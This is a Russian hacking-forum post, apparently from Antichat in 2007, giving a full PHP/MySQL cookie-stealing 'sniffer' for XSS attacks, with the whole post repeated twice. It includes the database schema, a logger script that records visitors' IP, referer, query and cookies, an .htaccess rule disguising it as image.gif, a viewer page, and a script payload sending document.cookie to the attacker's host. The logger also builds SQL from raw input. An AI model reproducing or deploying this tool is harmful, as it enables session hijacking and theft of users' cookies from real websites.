_Pantera_
28.05.2007, 19:35
Введение
При изучении атак вида XSS я столкнулся с проблемой - у меня небыло снифера. Я искал готовый снифер в интернете, но ничего дельного не нашел. Пообщавшись с юзерами античата мне дали дельный совет - снифер лутьше написать самому. Я так и сделал. Писал на php+mysql.
Начнем
Для начала создадим базу данных с именем sniffer
а после таблицу data
CREATE TABLE `data` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`ip` TEXT NOT NULL ,
`referer` TEXT NOT NULL ,
`qu` TEXT NOT NULL ,
`cookie` TEXT NOT NULL
) ENGINE = MYISAM ;
Сразу после этого напишем config.php
<?php
$dbhost = "database";
$dbuser = "login";
$dbpass = "password";
$dbname = "sniffer";
$db = @mysql_connect($dbhost, $dbuser, $dbpass);
if (!$db) {
exit ("<P>Сервер базы данных не доступен</P>" );
}
if (!@mysql_select_db($dbname, $db)) {
exit( "<P>База данных $dbname не доступна</P>" );
}
?> ps требует редактирования
Теперь создаем snif.php
<html>
<head>
<title>Sniffer _Pantera_ for Antichat</title>
</head>
<body>
<?
$ip = UrlDecode(getenv('REMOTE_ADDR'));
$referer = UrlDecode(getenv('HTTP_REFERER'));
$qu = UrlDecode(getenv('QUERY_STRING'));
$cookie=getenv('HTTP_COOKIE');
require_once("config.php");
$query = "INSERT INTO `data` VALUES(NULL, '$ip', '$referer','$qu','$cookie')";
mysql_query($query, $db);
mysql_close($db);
?>
</body>
</html> ps Именно он будет добавлять записи в базу данных.
Теперь создадим .htaccess:
RewriteEngine On
RewriteRule image.gif snif.phpps В папку с снифером поместите любой gif рисунок и переименуйте его в image.gif
И наконец создаем log.php
<html>
<head>
<title>Снифер _Pantera_ for Antichat</title>
</head>
<body>
<?php
include('config.php');
$query = "SELECT * FROM `data` ORDER by `id` DESC";
$result = mysql_query($query);
while($perem = mysql_fetch_array($result))
{
echo "<TABLE WIDTH=100% BORDER=1><DIV style='margin-bottom: 15;'>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>ip</center></td><td>".$perem['ip']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>referer</center></td><td>".$perem['referer']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>query</center></td><td>".$perem['qu']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>cookie</center></td><td>".$perem['cookie']."</td></tr></table>";
}
?>
</body>
</html>ps Этот файл будет считывать данные из базы данных и выводить их на экран в обратном порядке.
Ну вот собственно и все. Осталось теперь залить эти все файлы на хостинг с поддержкой php+mysql и использовать.
Использовние
Простой вызов по ссылке:
<a href="http://site.ru/image.gif?test">жми тут</a>
Вызов как картинки:
<img src="http://site.ru/image.gif">
Вызов из скрипта:
<script>img = new Image(); img.src = "http://site.ru/image.gif?"+document.cookie;</script>
Заключение
Хочу сказать парочку слов в заключение. Снифер написал для себя, и оформил его по своему вкусу. Если вам он понравиться буду обновлять. Главное пишите каким бы вы его хотели видеть.
C уважением _Pantera_ (С)
При изучении атак вида XSS я столкнулся с проблемой - у меня небыло снифера. Я искал готовый снифер в интернете, но ничего дельного не нашел. Пообщавшись с юзерами античата мне дали дельный совет - снифер лутьше написать самому. Я так и сделал. Писал на php+mysql.
Начнем
Для начала создадим базу данных с именем sniffer
а после таблицу data
CREATE TABLE `data` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`ip` TEXT NOT NULL ,
`referer` TEXT NOT NULL ,
`qu` TEXT NOT NULL ,
`cookie` TEXT NOT NULL
) ENGINE = MYISAM ;
Сразу после этого напишем config.php
<?php
$dbhost = "database";
$dbuser = "login";
$dbpass = "password";
$dbname = "sniffer";
$db = @mysql_connect($dbhost, $dbuser, $dbpass);
if (!$db) {
exit ("<P>Сервер базы данных не доступен</P>" );
}
if (!@mysql_select_db($dbname, $db)) {
exit( "<P>База данных $dbname не доступна</P>" );
}
?> ps требует редактирования
Теперь создаем snif.php
<html>
<head>
<title>Sniffer _Pantera_ for Antichat</title>
</head>
<body>
<?
$ip = UrlDecode(getenv('REMOTE_ADDR'));
$referer = UrlDecode(getenv('HTTP_REFERER'));
$qu = UrlDecode(getenv('QUERY_STRING'));
$cookie=getenv('HTTP_COOKIE');
require_once("config.php");
$query = "INSERT INTO `data` VALUES(NULL, '$ip', '$referer','$qu','$cookie')";
mysql_query($query, $db);
mysql_close($db);
?>
</body>
</html> ps Именно он будет добавлять записи в базу данных.
Теперь создадим .htaccess:
RewriteEngine On
RewriteRule image.gif snif.phpps В папку с снифером поместите любой gif рисунок и переименуйте его в image.gif
И наконец создаем log.php
<html>
<head>
<title>Снифер _Pantera_ for Antichat</title>
</head>
<body>
<?php
include('config.php');
$query = "SELECT * FROM `data` ORDER by `id` DESC";
$result = mysql_query($query);
while($perem = mysql_fetch_array($result))
{
echo "<TABLE WIDTH=100% BORDER=1><DIV style='margin-bottom: 15;'>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>ip</center></td><td>".$perem['ip']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>referer</center></td><td>".$perem['referer']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>query</center></td><td>".$perem['qu']."</td></tr>
<tr><td WIDTH=15% bgcolor=#FFCC33><center>cookie</center></td><td>".$perem['cookie']."</td></tr></table>";
}
?>
</body>
</html>ps Этот файл будет считывать данные из базы данных и выводить их на экран в обратном порядке.
Ну вот собственно и все. Осталось теперь залить эти все файлы на хостинг с поддержкой php+mysql и использовать.
Использовние
Простой вызов по ссылке:
<a href="http://site.ru/image.gif?test">жми тут</a>
Вызов как картинки:
<img src="http://site.ru/image.gif">
Вызов из скрипта:
<script>img = new Image(); img.src = "http://site.ru/image.gif?"+document.cookie;</script>
Заключение
Хочу сказать парочку слов в заключение. Снифер написал для себя, и оформил его по своему вкусу. Если вам он понравиться буду обновлять. Главное пишите каким бы вы его хотели видеть.
C уважением _Pantera_ (С)